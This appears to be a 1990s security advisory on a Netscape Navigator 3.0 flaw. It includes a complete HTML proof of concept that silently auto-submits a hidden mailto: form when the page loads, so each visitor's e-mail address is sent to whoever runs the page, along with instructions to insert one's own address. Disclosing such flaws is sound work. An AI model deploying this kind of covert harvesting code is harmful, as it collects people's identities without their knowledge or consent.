COMMAND
Netscape
SYSTEMS AFFECTED
Systems running Netscape Navigator 3.0
PROBLEM
With Netscape Navigator 3.0, it is possible to grab automatically
and silently the e-mail addresses of each client coming to a
page.
It was already known that when a form is submitted with:
method="get", enctype="text/plain" and action="mailto:..",
no warning dialog box is shown.
The next step is to submit automatically the form. But Netscape
put some security restrictions: Javascript usually allows to
automatically submit a form with the submit() method, but this
doesn't work when the action contain a mailto: url. However, you
can emulate a mouse click on the submit button with another
method: click()...
Here's a working HTML code:
<HTML>
<HEAD>
<TITLE>How to grab an e-mail address
</TITLE>
</HEAD>
<BODY onload= "document.forms[0].elements[1].click()">
<FORM method= get
enctype="text/plain"
action= "mailto:henri.torgemane@etu.utc.fr?subject=Big bug">
<INPUT type= "hidden"
name= "It's time to upgrade to "
value= "> Netscape 3.01">
<INPUT type= submit
value= "">
</FORM>
</BODY>
</HTML>
The only unusual line is the <BODY> line: the onload parameter
tell to the navigator to execute the javascript command that
follows. You should change the mailto: url with your own address.
document.forms[0].elements[1].click()
tells the browser to emulate a click on the second element of the
first form of the current document. (the first element is an
hidden tag, the second is the submit button)
This was tested only on Netscape 3.0 for AIX. It's very likely
to work on any other versions of Netscape 3.0 I don't know how it
works with Netscape 3.01... This discovery is Henry Torgemane's
credit.